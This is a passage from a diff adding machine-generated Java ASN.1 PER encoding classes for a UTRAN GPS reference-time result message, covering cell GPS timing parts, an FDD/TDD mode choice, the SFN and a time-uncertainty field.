+ return gpsReferenceTimeUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTimeResult.gpsReferenceTimeUncertaintyType
+ */
+ public void setGpsReferenceTimeUncertainty(Asn1Object value) {
+ this.gpsReferenceTimeUncertainty_ = (UTRAN_GPSReferenceTimeResult.gpsReferenceTimeUncertaintyType) value;
+ }
+ public UTRAN_GPSReferenceTimeResult.gpsReferenceTimeUncertaintyType setGpsReferenceTimeUncertaintyToNewInstance() {
+ gpsReferenceTimeUncertainty_ = new UTRAN_GPSReferenceTimeResult.gpsReferenceTimeUncertaintyType();
+ return gpsReferenceTimeUncertainty_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSet_GPSTimingOfCell() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSet_GPSTimingOfCell();
+ }
+
+ @Override public void setToNewInstance() {
+ setSet_GPSTimingOfCellToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTimeResult.set_GPSTimingOfCellType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "set_GPSTimingOfCell : "
+ + getSet_GPSTimingOfCell().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getModeSpecificInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getModeSpecificInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setModeSpecificInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTimeResult.modeSpecificInfoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "modeSpecificInfo : "
+ + getModeSpecificInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSfn() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSfn();
+ }
+
+ @Override public void setToNewInstance() {
+ setSfnToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTimeResult.sfnType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sfn : "
+ + getSfn().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsReferenceTimeUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsReferenceTimeUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsReferenceTimeUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTimeResult.gpsReferenceTimeUncertaintyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsReferenceTimeUncertainty : "
+ + getGpsReferenceTimeUncertainty().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class set_GPSTimingOfCellType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_set_GPSTimingOfCellType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public set_GPSTimingOfCellType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_set_GPSTimingOfCellType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_set_GPSTimingOfCellType != null) {
+ return ImmutableList.of(TAG_set_GPSTimingOfCellType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new set_GPSTimingOfCellType from encoded stream.
+ */
+ public static set_GPSTimingOfCellType fromPerUnaligned(byte[] encodedBytes) {
+ set_GPSTimingOfCellType result = new set_GPSTimingOfCellType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new set_GPSTimingOfCellType from encoded stream.
+ */
+ public static set_GPSTimingOfCellType fromPerAligned(byte[] encodedBytes) {
+ set_GPSTimingOfCellType result = new set_GPSTimingOfCellType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private set_GPSTimingOfCellType.ms_partType ms_part_;
+ public set_GPSTimingOfCellType.ms_partType getMs_part() {
+ return ms_part_;
+ }
+ /**
+ * @throws ClassCastException if value is not a set_GPSTimingOfCellType.ms_partType
+ */
+ public void setMs_part(Asn1Object value) {
+ this.ms_part_ = (set_GPSTimingOfCellType.ms_partType) value;
+ }
+ public set_GPSTimingOfCellType.ms_partType setMs_partToNewInstance() {
+ ms_part_ = new set_GPSTimingOfCellType.ms_partType();
+ return ms_part_;
+ }
+
+ private set_GPSTimingOfCellType.ls_partType ls_part_;
+ public set_GPSTimingOfCellType.ls_partType getLs_part() {
+ return ls_part_;
+ }
+ /**
+ * @throws ClassCastException if value is not a set_GPSTimingOfCellType.ls_partType
+ */
+ public void setLs_part(Asn1Object value) {
+ this.ls_part_ = (set_GPSTimingOfCellType.ls_partType) value;
+ }
+ public set_GPSTimingOfCellType.ls_partType setLs_partToNewInstance() {
+ ls_part_ = new set_GPSTimingOfCellType.ls_partType();
+ return ls_part_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMs_part() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMs_part();
+ }
+
+ @Override public void setToNewInstance() {
+ setMs_partToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? set_GPSTimingOfCellType.ms_partType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ms_part : "
+ + getMs_part().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getLs_part() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLs_part();
+ }
+
+ @Override public void setToNewInstance() {
+ setLs_partToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? set_GPSTimingOfCellType.ls_partType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ls_part : "
+ + getLs_part().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ms_partType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ms_partType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ms_partType() {
+ super();
+ setValueRange("0", "16383");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ms_partType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ms_partType != null) {
+ return ImmutableList.of(TAG_ms_partType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ms_partType from encoded stream.
+ */
+ public static ms_partType fromPerUnaligned(byte[] encodedBytes) {
+ ms_partType result = new ms_partType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ms_partType from encoded stream.
+ */
+ public static ms_partType fromPerAligned(byte[] encodedBytes) {
+ ms_partType result = new ms_partType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ms_partType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ls_partType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ls_partType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ls_partType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ls_partType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ls_partType != null) {
+ return ImmutableList.of(TAG_ls_partType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ls_partType from encoded stream.
+ */
+ public static ls_partType fromPerUnaligned(byte[] encodedBytes) {
+ ls_partType result = new ls_partType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ls_partType from encoded stream.
+ */
+ public static ls_partType fromPerAligned(byte[] encodedBytes) {
+ ls_partType result = new ls_partType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ls_partType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("set_GPSTimingOfCellType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class modeSpecificInfoType extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_modeSpecificInfoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "modeSpecificInfoType: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public modeSpecificInfoType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_modeSpecificInfoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_modeSpecificInfoType != null) {
+ return ImmutableList.of(TAG_modeSpecificInfoType);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerUnaligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerAligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $Fdd(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new modeSpecificInfoType.fddType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? modeSpecificInfoType.fddType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Tdd(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new modeSpecificInfoType.tddType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? modeSpecificInfoType.tddType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class fddType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_fddType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public fddType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_fddType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_fddType != null) {
+ return ImmutableList.of(TAG_fddType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new fddType from encoded stream.
+ */
+ public static fddType fromPerUnaligned(byte[] encodedBytes) {
+ fddType result = new fddType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new fddType from encoded stream.
+ */
+ public static fddType fromPerAligned(byte[] encodedBytes) {
+ fddType result = new fddType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PrimaryCPICH_Info referenceIdentity_;
+ public PrimaryCPICH_Info getReferenceIdentity() {
+ return referenceIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PrimaryCPICH_Info
+ */
+ public void setReferenceIdentity(Asn1Object value) {
+ this.referenceIdentity_ = (PrimaryCPICH_Info) value;
+ }
+ public PrimaryCPICH_Info setReferenceIdentityToNewInstance() {
+ referenceIdentity_ = new PrimaryCPICH_Info();
+ return referenceIdentity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PrimaryCPICH_Info.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceIdentity : "
+ + getReferenceIdentity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("fddType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+ public boolean isFdd() {
+ return !hasExtensionValue() && Select.$Fdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isFdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public modeSpecificInfoType.fddType getFdd() {
+ if (!isFdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Fdd");
+ }
+ return (modeSpecificInfoType.fddType) element;
+ }
+
+ public void setFdd(modeSpecificInfoType.fddType selected) {
+ selection = Select.$Fdd;
+ extension = false;
+ element = selected;
+ }
+
+ public modeSpecificInfoType.fddType setFddToNewInstance() {
+ modeSpecificInfoType.fddType element = new modeSpecificInfoType.fddType();
+ setFdd(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class tddType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_tddType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tddType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tddType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tddType != null) {
+ return ImmutableList.of(TAG_tddType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tddType from encoded stream.
+ */
+ public static tddType fromPerUnaligned(byte[] encodedBytes) {
+ tddType result = new tddType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tddType from encoded stream.
+ */
+ public static tddType fromPerAligned(byte[] encodedBytes) {
+ tddType result = new tddType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CellParametersID referenceIdentity_;
+ public CellParametersID getReferenceIdentity() {
+ return referenceIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellParametersID
+ */
+ public void setReferenceIdentity(Asn1Object value) {
+ this.referenceIdentity_ = (CellParametersID) value;
+ }
+ public CellParametersID setReferenceIdentityToNewInstance() {
+ referenceIdentity_ = new CellParametersID();
+ return referenceIdentity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellParametersID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceIdentity : "
+ + getReferenceIdentity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("tddType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+ public boolean isTdd() {
+ return !hasExtensionValue() && Select.$Tdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isTdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public modeSpecificInfoType.tddType getTdd() {
+ if (!isTdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Tdd");
+ }
+ return (modeSpecificInfoType.tddType) element;
+ }
+
+ public void setTdd(modeSpecificInfoType.tddType selected) {
+ selection = Select.$Tdd;
+ extension = false;
+ element = selected;
+ }
+
+ public modeSpecificInfoType.tddType setTddToNewInstance() {
+ modeSpecificInfoType.tddType element = new modeSpecificInfoType.tddType();
+ setTdd(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "modeSpecificInfoType = " + elementIndentedString(indent) + indent + ";\n";
